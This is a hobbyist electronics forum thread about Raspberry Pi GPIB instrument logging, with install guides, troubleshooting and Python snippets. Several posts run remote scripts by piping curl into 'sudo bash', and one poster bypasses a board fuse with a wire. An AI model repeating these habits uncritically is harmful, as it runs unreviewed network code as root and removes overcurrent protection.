content: The script on github is detecting NI USB HS, etc and Agilent 82357b adapters and according to connected adapter it will set the .conf file.So it is OK that you received such error.The script does not install web server (nginx + samba) for this your will needs to use this script Web_Samba.shYou can run it same way like GPIB install scriptcurlhttps://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh| sudo bashFor Arduino you will needs to rewrite the python scripts from Github, I did not reach point to release them with support for Prologix or Arduino GPIB adapters.

author: alm
author_rank: Super Contributor
timestamp: August 06, 2017, 03:27:31 pm
content: The ugliest thing is to write a Keithley_196_Prologix_Log.py script that accesses the emulated serial port directly.The slightly less ugly way is to write a GpibPrologix module that implements the same interface as the standard Gpib module. I have done something similar in the past for a scope that could be accessed through GPIB or RS-232 by implementing a GpibSerial module that emulated the GPIB interface. See attachment. To use it I would use:Code: (Python)import GpibSerial as Gpib#import Gpibscope = gpib.find('tds200')gpib.clear(scope)gpib.write(scope,'measu:meas1:typ PK2;:measu:meas1:sou CH1')gpib.write(scope,'measu:meas1:val?')pk2 = float(gpib.read(scope,80))It would not be a drop-in replacement because it does not send the Prologix command (this was a direct RS-232 connection) and may not implement all functionality that this code expects.A nicer way is to actually use a generic backend like PyVISA. Unfortunately it does not look like PyVISA currentlysupports the Prologix interface, but it would abstract the hardware interface from the logging code. Adding proper Prologix support to PyVISA does not look too difficult.And if you also want to abstract the instrument itself, you could usepython-ivion top of PyVISA. That is the way I am going for any new instrument control code I write.

author: vindoline
author_rank: Unknown
timestamp: August 07, 2017, 02:43:06 pm
content: Pleasa, thank you very much for your response. I didn't realize that you hadn't yet implemented Prologix support.alm, thank you too. I'll take a look at doing this, but I'm afraid it may be well over my head programming wise. I'll give a shot at figuring it out though!

author: nisma
author_rank: Regular Contributor
timestamp: August 09, 2017, 11:39:34 pm
content: I only have rpi1, so i cannot test this logging platform.Prologix works with pySerial and wanglib .The 3.3V arduino works very well with rpi on hw rs232 and speed set at 4Mbit/sec.I don't use orginal Prologix, just arduino with similar firmware.

author: FrankBuss
author_rank: Unknown
timestamp: August 10, 2017, 06:03:09 am
content: Quote from: nisma on August 09, 2017, 11:39:34 pmIt should run on your Rapsberry Pi 1, too, works for me.

author: FrankBuss
author_rank: Unknown
timestamp: August 18, 2017, 08:26:42 pm
content: I bought an Agilent 82357B GPIB interface, probably a clone because it was cheap, and tried to use it with the logging platform. For this first I downloaded the latest Raspbian image, based on Debian 9 (Stretch), from this week, 2017-08-16-raspbian-stretch-lite.img. I've done the steps fromhttps://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh(maybe this should be renamed, because it does more, like updating the distribution, installing USBTMC etc.) manually to see if something went wrong and it worked mostly, even the linux-gpib driver could be compiled with the new Linux kernel version 4.9.41. One thing missing was the "pip" package (needs an additiona "sudo apt-get -y install python-pip"). Note: to enable SSH remote login, create an empty file "ssh" on the "boot" partition. Then you can login with the user "pi" and the password "raspberry" with ssh (or useputtyfrom Windows).Then I had problem to use the GPIB interface. When plugged in, "lsusb" showed "Bus 001 Device 004: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interface". I think the firmware load step was necessary, as described here:https://xdevs.com/guide/agilent_gpib_rpi/. Bus 1 and Device 4 means, I had to do this:QuoteAfter this command, the RPi hung, and stopped always after reboot. Turns out I had a power problem, maybe because of my cheap GPIB clone, or it needs really a lot of power. I could fix this by desoldering F3 on the RPi, near the power supply USB port, and short it with a nice big 1 mm silver wire, and then powering it with a good 3A USB power supply. You can see the location here:http://www.tooms.dk/forum/topic.asp?TOPIC_ID=286My RPi (a Raspberry Pi 1 Model B) doesn't have fuses near the output USB ports, but mounting holes, but if you have a model with F1 and F2, you might need to bridge these fuses as well. No more crashes now after shorting the fuse!After the first flash (and some reboots because of the power problem), lsusb showed "Bus 001 Device 010: ID 0957:0718 Agilent Technologies, Inc.". So the second flash, as described on the website, was this: "fxload -t fx2 -D /dev/bus/usb/001/010 -I /opt/gpib_firmware/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex". Then another power cycle, just to be safe. Now lsusb shows this: "Bus 001 Device 009: ID 0957:0718 Agilent Technologies, Inc.".And then the gpib_config command succeeded. Output of /var/log/syslog:QuoteAfter this I could mount my samba share of my NAS system as usual with "mount.cifs //my-nas/share /mnt -o user=user,pass=password", which makes it easier to edit programs on my host PC. Then I started the Test_GPIB.py script. I tested it with my new Fluke 8842A, which doesn't have the "*IDN?", but sending a "G8" resulted in "FLUKE,8842A,0,V3.0"Finally I wrote a simple test script, which selects the 20 V range and prints the voltage measurement every second, see this file:https://github.com/FrankBuss/RPi_LogNut/blob/master/pub/python/Fluke-8842A.py(I really like the Fluke, 100 uV resolution in the 20 V range)This will be available in plesa's repository, together with some other scripts and bugfixes by me and others, when he merges my pull request:https://github.com/PlesaEEVBlog/RPi_LogNut/pull/1plesa, if you merge the pull request, you might need to move the files from /pub/python to /python, if different or new, because in your repository is no /pub/python directory.

author: IanJ
author_rank: Unknown
timestamp: August 21, 2017, 04:48:57 pm
content: Hi all,Ok.......I'm gonna bite the bullet just for fun and so I've ordered a Rasp Pi 3 Model B and I've had a look through this thread and I'm looking for the one post that lays it out what to do when starting from scratch to get 3458a & temperature logging operational.....right from how to install the OS. Any pointers appreciated.I see this page, is thisthe one:https://xdevs.com/guide/agilent_gpib_rpi/I've got:82357B (clone) GPIB USB adaptor (this looks the obvious one to use)Galvant GPIBUSB adaptor (just thought I'd mention it)Silicon Labs Si7051-EVB temp/humidity sensor (probably not supported, but would be nice)Ian.

author: plesa
author_rank: Frequent Contributor
timestamp: August 21, 2017, 05:07:27 pm
content: Quote from: IanJ on August 21, 2017, 04:48:57 pmAfter image recovery runCode:curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashFor settng web and SambaCode:curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh | sudo bashSupported interfaces are Agilent 82357B, National Instruments NI GPIB-USB-HS and their clones eg. Keithley ones.Also the Ethernet GPIB gateway Agilent E5810A/B are supported and tested.On github there are www and Python folders with multiple examples with D3.js and C3.js ( easier for configuration)Only BME280 and DS18S20 supported, but adding support will be easy.

author: TiN
author_rank: Super Contributor
timestamp: August 22, 2017, 04:26:09 am
content: IanJYou can follow plesa's suggestion, it works great. My guide you linked is somewhat manual process, which is still might be of interested to understand what is actually going on, instead of running one command which does some magic behind the curtains.Perhaps I should update it with "Automated install" section.

author: IanJ
author_rank: Unknown
timestamp: August 22, 2017, 10:40:21 am
content: Quote from: TiN on August 22, 2017, 04:26:09 amWill do.Btw, I presume Raspian OS will work ok?.......I see on your site some mention of OS build issues/incompatibilities?Ian.

author: TiN
author_rank: Super Contributor
timestamp: August 22, 2017, 11:05:33 am
content: In theory any linux-based OS should work, but you may run into some packets/lib dependency conflicts, which you may need to resolve.I'm using Raspbian since Pi1, but also tried NOOBs once on which all worked fine.Also have NI GPIB + linux-gpib working fine on Linaro , running on FPGA SOC board (DE1-SoC).Once you get familiar with main tidbits, it's fairly easy to get things running on another platforms.

author: IanJ
author_rank: Unknown
timestamp: August 27, 2017, 04:42:37 pm
content: Quote from: plesa on August 21, 2017, 05:07:27 pmOk, so I have my Pi3 running, used Noobs to install Raspbian (with desktop).Connected my 82357B clone & BM-280.Then at command prompt ranCode:curl https://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh | sudo bashAnd after a few minutes got this at the very end:Code:Successfully built si-prefixInstalling collected packages: si-prefixSuccessfully installed si-prefix-0.5Agilent 82357B foundfailed to bring board onlinefailed to configure boardmain: No such devicepi@raspberrypi:~ $I haven't got the 82357B plugged into my 3458a as yet........just trying it with USB connected at the mo.Is this looking ok?.....or is there an issue?Ian.

author: plesa
author_rank: Frequent Contributor
timestamp: August 27, 2017, 08:06:45 pm
content: Hi Ian,please can you post lsusb when adapter is connected?The end of scrip failed, so you will needs to edit gpib.conf to setup the correct adapter.We needs to make sure GPIB adapter is recognized.

author: IanJ
author_rank: Unknown
timestamp: August 27, 2017, 09:26:12 pm
content: Quote from: plesa on August 27, 2017, 08:06:45 pmHere is lsusb, this is done on same session, i.e. just after script fails.Code:pi@raspberrypi:~ $ lsusbBus 001 Device 005: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB InterfaceBus 001 Device 016: ID 0dc6:3412 Precision Squared Technology Corp.Bus 001 Device 015: ID 046d:c535 Logitech, Inc.Bus 001 Device 014: ID 1a40:0101 Terminus Technology Inc. HubBus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet AdapterBus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 HubBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubI notice also that the red light is ON the adaptor.....so I unplug the adaptor USB then plug it in again and I get a green light ON.....and then run lsusb again:Code:Bus 001 Device 019: ID 0957:0718 Agilent Technologies, Inc.Bus 001 Device 016: ID 0dc6:3412 Precision Squared Technology Corp.Bus 001 Device 015: ID 046d:c535 Logitech, Inc.Bus 001 Device 014: ID 1a40:0101 Terminus Technology Inc. HubBus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet AdapterBus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 HubBus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hubSo, right now i am running script again.Ian.

author: 2N3055
author_rank: Super Contributor
timestamp: August 27, 2017, 09:38:53 pm
content: Quote from: IanJ on August 27, 2017, 09:26:12 pmIan,I had same problem, since adapter didn't load firmware (you have to replug it first time)GPIB part of script didn't recognize it..I opened Plesa script in editor, and copy-pasted last few lines that deal with GPIB setup again line by line into terminal... And then it went trough...Also before that I had to also manually execute first few lines that do kernel upgrade, wait for it to finish and restart Pi.... Then Plesa script in full, reconnect GPIB, and repeat last few GPIB lines... It seems my Raspberry was a bit out sync....It works perfectly now..

author: IanJ
author_rank: Unknown
timestamp: August 27, 2017, 09:50:37 pm
content: Ok after running the script again I now get this:Code:Reading package lists... DoneBuilding dependency treeReading state information... Donefxload is already the newest version (0.0.20081013-1).0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.Requirement already up-to-date: pip in /usr/lib/python2.7/dist-packagesRequirement already satisfied: si-prefix in /usr/local/lib/python2.7/dist-packagespi@raspberrypi:~ $So I am assuming this is now ok, and I can run 2nd script next, here:Code:Using /usr/lib/python2.7/dist-packagesFinished processing dependencies for Adafruit-GPIO==1.0.3------------DONE---------------------Runsudo smbpasswd -a pito set Samba passwordSo I assume thats it done.......so now how do I run the logger etc (samba pass is set, and I can access)?Update: Ahhhh, I can see the Pi is now a webserver and the 3458a logging is web based as can see the files........just trying to work out the URL now.Ian.

author: plesa
author_rank: Frequent Contributor
timestamp: August 27, 2017, 10:06:45 pm
content: Added both USB ID to script. Thanks for feedback.On github are the python scripts and also few examples of webpages with plots ( I recommends to use C3.js instead of D3.js).Just download them and place to /pub/ folder. Or should I create separate git repository for www and python?

author: IanJ
author_rank: Unknown
timestamp: August 27, 2017, 10:16:02 pm
content: Quote from: plesa on August 27, 2017, 10:06:45 pmI'm not really sure what you mean (I'm a Pi newbie so need step by step)........I can see a bunch of html files at pub\Rpi_LogNut, so what do I do now......?I thought for a moment those files were at the Pi webserver webroot but they are not, so assuming something else.Ian.

author: plesa
author_rank: Frequent Contributor
timestamp: August 27, 2017, 10:26:14 pm
content: Quote from: IanJ on August 27, 2017, 10:16:02 pmIn the folder pub\Rpi_LogNut is the copy of git repository. So you can copy all files in \pub\Rpi_LogNut\www to \pub\www and all files from pub\Rpi_LogNut\Python to \pub\python.After that on the RPi you should see webpage with examples. The examples will not display graphs because there are no logs in \pub'log folder.Scrips from \pub\Python you can run, but check in file the correct GPIB address and used interface, some examples are using the LAN-GPIB.just type python and the name of script.

author: IanJ
author_rank: Unknown
timestamp: August 28, 2017, 05:24:06 pm
content: Quote from: plesa on August 27, 2017, 10:26:14 pmOk, my webroot is /var/www/htmlI've copied python folder one down so /var/www/pythonI should note at first I got permission denied when trying to copy files to web root, but after gksudo pcmanfm (I googled it) thenb I was able to copy.So next I tried at the command prompt:Code:pi@raspberrypi:~ $ python /var/www/python/3458A_DCV_Log.pylibgpib: ibBoardOpen failed to open device file /dev/gpib0libgpib: Permission deniedlibgpib: error in is_cic()!Traceback (most recent call last):File "/var/www/python/3458A_DCV_Log.py", line 10, in <module>inst = Gpib.Gpib(0,22, timeout=60)File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 26, in __init__self.id = gpib.dev(name, pad, sad, timeout, send_eoi, eos_mode)gpib.GpibError: dev() error: Bad file descriptor (errno: 9)On my Windows Excel macro my usb 82357 address is GPIB0::22:INSTRThe python script I haven't touch, I can see it's set to 22 already, not sure about the interface selection though.Ian.

author: z01z
author_rank: Regular Contributor
timestamp: August 28, 2017, 06:14:12 pm
content: I came across the command "sudo usermod -a -G gpib pi", which might help.What about sudo python ...?

author: vindoline
author_rank: Unknown
timestamp: August 28, 2017, 06:41:49 pm
content: OK, I'm also still struggling to get this up and running. Right now I'm trying to get the BME280 sensor graphing to work.1) I have a new 16 GB card with latest Raspbian installed.a. I add an empty file called "ssh" to the root directory of the SD card to enable SSH upon bootb. I add a "wpa_supplicant.conf" file with my wifi info in it to enable wifi access upon boot.2) Power up the RPi and SSH in from my Mac.a. run sudo raps-config and set new password, hostname, VNC access, I2C enable, screen resolution, etc.b. reboot RPi3) SSH into RPi from my Maca. run sudo apt-get updateb. run sudo apt-get upgradec. run curlhttps://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Install_GPIB_Support.sh| sudo bash=> this seems to run/install OK. I get several errors at the very end because I don't have a supported GPIB adapter attached.d. run curlhttps://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Update_GPIB.sh| sudo bash=> as above, this seems to run/install OKe. run curlhttps://raw.githubusercontent.com/PlesaEEVBlog/RPi_LogNut/master/Web_Samba.sh| sudo bash=> I believe I've found several errors in this script (at least for me):line 13 reads: "sudo mkdir log" I believe it should be "sudo mkdir logs"line 19 ("sudo rmdir /var/www/html") fails to remove the directory html because a file is in it. This then seems to both the symlinks created. If the file (index.lighttpd.html) is removed first, it works fine.As Plesa noted above, I copy the files in \pub\Rpi_LogNut\www to \pub\www and copy the files from pub\Rpi_LogNut\Python to \pub\python.I can go to the directory /pub/python and run the script "python BME_v2_Log.py" and it fails because there needs to be a file named "BME280_Log.csv" already existing in the logs directory. Once I create an empty file named BME280_Log.csv the script runs fine and collects data. Yea!If I now open a web browser and go to "VoltNutter.local" I get the index page with all of the different instrument logging options. Yea! However, clicking on "BME280_Logs.html" gives a blank page. If I look in the debugging console I see the error "TypeError: undefined is not an object (evaluating 'e.length')" in the d3.v3.min.js file. I have no idea what any of this means or how to proceed. Any advice?

author: plesa
author_rank: Frequent Contributor
timestamp: August 29, 2017, 10:10:12 pm
content: Quote from: IanJ on August 28, 2017, 05:24:06 pmTry to run sudo gpib_config and post results. After that you can run sudo ibtest to test the GPIB device in terminal.

author: TheSteve
author_rank: Unknown
timestamp: August 30, 2017, 04:03:39 am
content: plesa - thanks for posting the latest version of your pi image. I installed it last night without too much drama on a pi3. It did fail at the end but I just ran the gpib script again after a reboot and it worked. I did have to disconnect and reconnect my 82357B when done. However I doubt I will be using the USB interface much as I have the E5810A now and decided to try some vxi11. So far it is working great. I added a "inst.write("END ON")" to get it to talk to my 3458A. No luck with the serial port on the E5810A though. I am wondering if possibly the output level shifter might be bad.For anyone not using a monitor/kb/mouse on their pi I recommend running sudo raspi-config and turning off the graphical login to save resources.edit - Got serial working - had to make sure the Keithley 2400 required no flow control and that it wanted a LF as a terminator. I then added the "\n" to the *IDN? and it works 100% of the time. I tried the same with carriage return and it didn't work. A scope with serial decode sure was handy.#!/usr/bin/python2# Test Agilent E5810A with serial port connected to Keithley 2400import vxi11instr = vxi11.Instrument("192.18.1.134", "COM1:488")print(instr.ask("*IDN?\n"))

author: voltampere
author_rank: Regular Contributor
timestamp: September 14, 2017, 04:55:56 pm
content: I just want to share a bit of information for those who would like to set everything up on their own.Without just copying a whole image and running some "magic" script!On my first try i stumbled a lot because i read at different locations that you need to install the kernel sources.( i think this advice is also on Tin's website )I can confirm that it is possible to compile the linux-gpib package without the kernel-sources installed.( at least this worked with Raspberry Pi 3 and latest Raspbian image )I only needed to install the raspberry-kernel-headers.apt-get install raspberry-kernel-headersAfter that you will have two directories under /usr/src:linux-headers-4.9.41+linux-headers-4.9.41-v7+Since the PDF doc on the linux-gpib sourcefourge archive says that the headers should be enough i gave it a try.Of course you will need all the other packages like :build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtoolI installed all of them according to Tin's Guide on xDevs.com.After the first ./configure the Script did not confirm configuration of the Python bindings.So i figured that some Python package was missing...apt-get install libpython3-dev did not do the job.So i also installed libpython-dev.After that the ./configure script confirmed the Python bindings setup.make was successful but showed this Error multiple times while running:ERROR : Kernel configuration is invalid.include/generated/autoconf.h or include/config/auto.conf are missing.Run ´make oldconfig && make prepare´ on kernel src to fix it.Since i did not want to struggle with getting kernel sources again ( and setting up and, and, ... )i just tried to do a make oldconfig and make prepare in the kernel-headers directory.make oldconfig went through but make prepare was impossible.I just ledt it at that point and went on with `make install` in the linux-gpib directory.After some more errors that i could all fix with info from Tin's website ( running ldconfig again , editing gpib.conf, ... ) i had a working gpib package on my system.Bottom line:-You don't need the complete kernel-sources to compile linux-gpib (only the headers)-don't worry about the Error: kernel configuration is invalidBest regardsJoerg

author: MiDi
author_rank: Frequent Contributor
timestamp: December 03, 2018, 12:32:39 am
content: UPDATED 2024-10-16As I and others had quite some trouble to get the current gpib version 4.2.0 (r1771) to run on RasPi with the Agilent adapter, I decided to put together a guide.The base - without the specific Agilent adapter part - should be universal for all adapters.I am not the brightest light on linux, so if there is something to improve, your contribution is welcome!Please report any issues, so that all are aware and to keep this guide up to date.2024-10-16 changes:1.1 removed "apt upgrade" (included in full-upgrade), removed automatic reboot1.2 kernel headers are now always present (Bullseye and Bookworm), just checks if they are awailable (only installs if not there)1.3 reduced build tools to minimum2.1 changed to official release as a standard as there is no need anymore to use latest dev version (latest dev version included as an option - moved to git repo now)2.2 make compatible with official release directory, add make clean, add information to resolve problem if 32bit image is used2.3 make compatible with official release directory, add make clean, add parameter --sysconfdir=/etc to install gpib.conf & udev rules into correct directory3.1 change board_type in gpib.conf w/o user interaction3.2 directly decompress firmware4.2 added manual config4.3 added SCPI compatible devicesCode:Install GPIB on RasPi with Agilent USB-GPIB adapterTested with Raspberry Pi OS Lite Bookworm 2024-10-08 32bit (6.6.51+rpt-rpi-v7l) & 64bit (6.6.51+rpt-rpi-v8) and linux gpib 4.3.6 on Pi4BSources:https://xdevs.com/guide/agilent_gpib_rpi/https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1301773/#msg1301773https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/?allhttps://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/ -> Historyhttps://sourceforge.net/p/linux-gpib/git/1. Preparation (64bit image of Pi OS recommended, 32bit may need some special handling - see 2.2)1.1 Updatesudo apt update && sudo apt full-upgrade && sudo apt autoremove && echo "Update finished, if reboot is necessary it will tell above"1.2 Install kernel headers (should already be there in current Bullseye & Bookworm images, so check first)ls /usr/src/linux-headers-$(uname -r | cut -d+ -f1)* 1> /dev/null 2>&1 && echo 'kernel headers already installed' || ( sudo apt-get install raspberrypi-kernel-headers && ls /usr/src/linux-headers-$(uname -r | cut -d+ -f1)* 1> /dev/null 2>&1 && echo 'kernel headers installed' || echo 'ERROR: wrong or no kernel headers installed: '$(ls -1d /usr/src/linux-headers-*)', should be '$(uname -r | cut -d+ -f1) )// Legacy// If newer headers are installed, updating kernel could be an option (at your own risk)// sudo apt-get update && sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel// If older headers are installed, then the whole kernel source needs to be installed, which include the headers// Legacy end1.3 Install build-toolssudo apt install build-essential bison flex libtool libpython3-dev2. Install GPIB2.1 Download and extract latest official released versionsudo mkdir -p /usr/local/src/linux-gpib-code && cd /usr/local/src/linux-gpib-code/ && sudo wget -c "https://sourceforge.net/projects/linux-gpib/files/latest/download" -O - | sudo tar -xvz --strip-components=1 -C /usr/local/src/linux-gpib-code && ls *.tar* | xargs -i sudo tar xzf {} && sudo rm *tar.gz// Latest dev (only use when features needed that are not in current release): sudo apt install git automake && sudo git clone "https://git.code.sf.net/p/linux-gpib/git" /usr/local/src/linux-gpib-code2.2 Build & install kernel modulecd $(ls /usr/local/src/linux-gpib-code/linux-gpib-kernel*/ -d) && sudo make clean && sudo make && sudo make install// If it gives error message that there is no build directory, we need to switch to 32bit kernel (add/change arm_64bit=0 in config.txt)// (the 32bit image runs 64bit kernel with 32bit userspace and the headers for 64bit are incomplete and cannot be fixed)// sudo sed -e '/^\(arm_64bit=\).*/{s//\10/;:a;n;ba;q}' -e '$aarm_64bit=0' -i /boot/firmware/config.txt// sudo reboot2.3 Build & install user modulecd $(ls /usr/local/src/linux-gpib-code/linux-gpib-user*/ -d) && sudo ./configure --sysconfdir=/etc && sudo make clean && sudo make && sudo make install// If latest dev is used in 2.1: cd $(ls /usr/local/src/linux-gpib-code/linux-gpib-user*/ -d) && sudo ./bootstrap && sudo ./configure --sysconfdir=/etc && sudo make clean && sudo make && sudo make install3. Install Agilent 82357a3.1 Config (board_type = "agilent_82357a" in gpib.conf)sudo sed -i 's/"ni_pci"/"agilent_82357a"/g' $(sudo find / -name 'gpib.conf' | grep etc)3.2 Get Firmwaresudo wget -c "http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz" -O - | sudo tar -xvz -C /usr/local/src/linux-gpib-code/3.3 Auto download firmwaresudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)3.4 Grant access to gpib device for current usersudo groupadd gpib && sudo adduser $(whoami) gpib4. Finish4.1 Rebootsudo reboot4.2 Config (should not be necessary, but sometimes needed and does no harm - maybe only when adapter was not connected until now)sudo ldconfig && sudo gpib_config// After config, all leds should be lit on the adapter (2x green, red) and finally only one green, if not there is a problem (see 5.)// After plug-in the adapter all leds should be lit (2x green, red) and finally only one green, if not there is a problem (see 5.)4.3 Test communication to equipmentibtestd// Input gpib device addressw// After here is device specific (see manual of the device)// SCPI compatible devices*IDN?// Older devices (HPIB compliant - made before 1990 or not SCPI compliant) e.g. 3457A/3458AEND ALWAYS // Check manual if neededwID? // HPIB standardr// Prints device identificationq // Quit5. Trouble-shooting5.1 Test gpib modulelsmod | grep gpib_common// Should give a line back with gpib_common, if not try next step// only if previous step gave nothingsudo modprobe gpib_commonlsmod | grep gpib_common// Should finish without error & give a line back with gpib_common, else gpib is not installed -> try 2. and watch out for errors5.2 Test Adapter (only needed if not all leds are lit)// Load Firmware for testing (latest point to plugin Adapter)cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/lsusb -d 0957:0518 //output: Bus xxx Device yyy: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interfacesudo fxload -t fx2 -D /dev/bus/usb/xxx/yyy -I ./measat_releaseX1.8.hex // 1st FW loadlsusb -d 0957:0518 //output: Bus xxx Device zzz: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interfacesudo fxload -t fx2 -D /dev/bus/usb/xxx/zzz -I ./measat_releaseX1.8.hex // 2nd FW loadlsusb -d 0957:0718 // Output (ID changed to 0957:0718 and all leds 2x green & red on adapter are lit) : Bus xxx Device xyz: ID 0957:0718 Agilent Technologies, Inc.lsmod | grep agilent // Output (2 lines): agilent_82357a & gpib_common5.3 Test userspacesudo ldconfig && sudo gpib_config// Finish without error, else the configuration is not correct -> 3.1Alternatives to this guide:https://github.com/PhilippCo/meas_rpifromhttps://www.eevblog.com/forum/metrology/raspberry-pi-for-gpib-and-data-analysis-very-easy-and-fully-equipped/msg3624833/#msg3624833OLD 2023-09-25 (fixed url for FW, formatting for easier C&P):Code:Install GPIB on Linux with Agilent USB-GPIB adapter (tested with Raspberry Pi OS Lite 32bit 2022-04-04 Bullseye (5.15.32-v7+) and linux gpib 4.3.4 (r2025) on pi3):Sources:https://xdevs.com/guide/agilent_gpib_rpi/https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1301773/#msg1301773https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/?allhttps://sourceforge.net/p/linux-gpib/code/HEAD/tree/trunk/ -> History1. Preparationsudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade && echo 'Rebooting...' && sudo reboot2. Install Kernel-Headerssudo apt-get install raspberrypi-kernel-headers && [ -d /usr/src/linux-headers-$(uname -r) ] && echo 'kernel-headers installed' || echo 'ERROR: wrong or no kernel-headers installed: '$(ls /usr/src/)', should be '$(uname -r | cut -d+ -f1)//If newer headers are installed, updating kernel could be an option (at your own risk)//sudo apt-get update && sudo apt-get install --reinstall raspberrypi-bootloader raspberrypi-kernel//If older headers are installed, we are stuck and have to wait until the newer headers are released3. Install GPIB3.1 Install build-toolssudo apt-get install build-essential texinfo texi2html libcwidget-dev tcl8.6-dev tk8.6-dev libncurses5-dev libx11-dev binutils-dev bison flex libusb-1.0-0 libusb-dev libmpfr-dev libexpat1-dev tofrodos subversion autoconf automake libtool libpython3-dev3.2 Build & install GPIB kernel modulesudo svn checkout svn://svn.code.sf.net/p/linux-gpib/code/trunk /usr/local/src/linux-gpib-code && cd /usr/local/src/linux-gpib-code/linux-gpib-kernel/ && sudo make && sudo make install3.3 Build & install GPIB user modulecd /usr/local/src/linux-gpib-code/linux-gpib-user/ && sudo ./bootstrap && sudo ./configure && sudo make && sudo make install4. Install Agilent 82357a4.1 Get Firmwarecd /usr/local/src/linux-gpib-code/ && sudo apt-get install fxload && sudo wget "http://linux-gpib.sourceforge.net/firmware/gpib_firmware-2008-08-10.tar.gz" && sudo tar xvzf gpib_firmware-2008-08-10.tar.gz && cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/4.2 Config//adapter//new location since r1757 (changed from /etc/gpib.conf to $(sysconfdir)/gpib.conf)sudo vi $(sudo find / -name 'gpib.conf' | grep etc)-> board_type = "agilent_82357a"// hit x to delete, then copy "agilent_82357a" and insert with right click, hit ESC and type wq + Enter (saves the file and exits)//auto download firmwaresudo cp /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/measat_releaseX1.8.hex $(sudo find / -type d -name 'agilent_82357a' | grep usb | grep -v gpib)//udev rules//seems that the udev rules are copied to incorrect location - bug in gpib or raspbian? In r1730 everything is fine, in which release does it break?sudo cp /usr/local/etc/udev/rules.d/* /etc/udev/rules.d/// Grant user permission// Since r1748, group gpib has to be created manuallysudo groupadd gpib// Add user to group - for other user replace 'pi' with name of other usersudo adduser pi gpib5. Finish5.1 Rebootsudo reboot//after reboot, all leds should be lit on the adapter (2x green, red) and finally only one green, if not there is a problem (see 6)//after plug-in the adapter all leds should be lit (2x green, red) and finally only one green, if not there is a problem (see 6)5.2 Test with connected equipment (optional)ibtestd//device idw//after here is device specific, given are examples for HP/Agilent/Keysight devices (tested with 3457A/3458A)END ALWAYSwID?r//prints: HP345xAq //quit6 Trouble-shooting6.1 Test gpib modulelsmod | grep gpib_common//Should give a line back with gpib_common, if not try next stepsudo modprobe gpib_commonlsmod | grep gpib_common//should finish without error & print gpib_common, else gpib is not installed -> try 3. and watch out for errors6.2 Test Adapter (only needed if not all leds are lit)//Load Firmware for testing (latest point to plugin Adapter)cd /usr/local/src/linux-gpib-code/gpib_firmware-2008-08-10/agilent_82357a/lsusb -d 0957:0518 //output: Bus xxx Device yyy: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interfacesudo fxload -t fx2 -D /dev/bus/usb/xxx/yyy -I ./measat_releaseX1.8.hex //1st FW loadlsusb -d 0957:0518 //output: Bus xxx Device zzz: ID 0957:0518 Agilent Technologies, Inc. 82357B GPIB Interfacesudo fxload -t fx2 -D /dev/bus/usb/xxx/zzz -I ./measat_releaseX1.8.hex //2nd FW loadlsusb -d 0957:0718 //output (ID changed to 0957:0718 and all leds 2x green & red on adapter are lit) : Bus xxx Device xyz: ID 0957:0718 Agilent Technologies, Inc.lsmod | grep agilent //output (2 lines): agilent_82357a & gpib_common6.3 Test userspacesudo ldconfig && sudo gpib_config//finish without error, else the configuration is not correct -> 4.2

author: bitseeker
author_rank: Super Contributor
timestamp: December 03, 2018, 07:06:58 am
content: Thanks, MiDi. I hadn't tried using my Agilent USB-GPIB with RPi, yet.

author: pansku
author_rank: Regular Contributor
timestamp: December 04, 2018, 03:48:58 pm
content: Quote from: MiDi on December 03, 2018, 12:32:39 amThank you so much, I finally got the thing working on 3B+ !!Now I just need to figure out why my HP6632A and K2015 work perfectly fine seperately, but only the Keithley works when they are daisy-chained and the Agilent pod is on either of those 2

author: MiDi
author_rank: Frequent Contributor
timestamp: December 05, 2018, 10:29:42 am
content: Nice, so for now all raspis are covered as I did successful test on pi 2 too.Perhaps I will do test on current debian/ubuntu sometimes...If someone did, would be nice to get the results.@TiN: Your guides for linux-gpib show up on top of (google) search, so feel free to use my guide and update your guides.To reveal: You get my permission without need for reference to me.

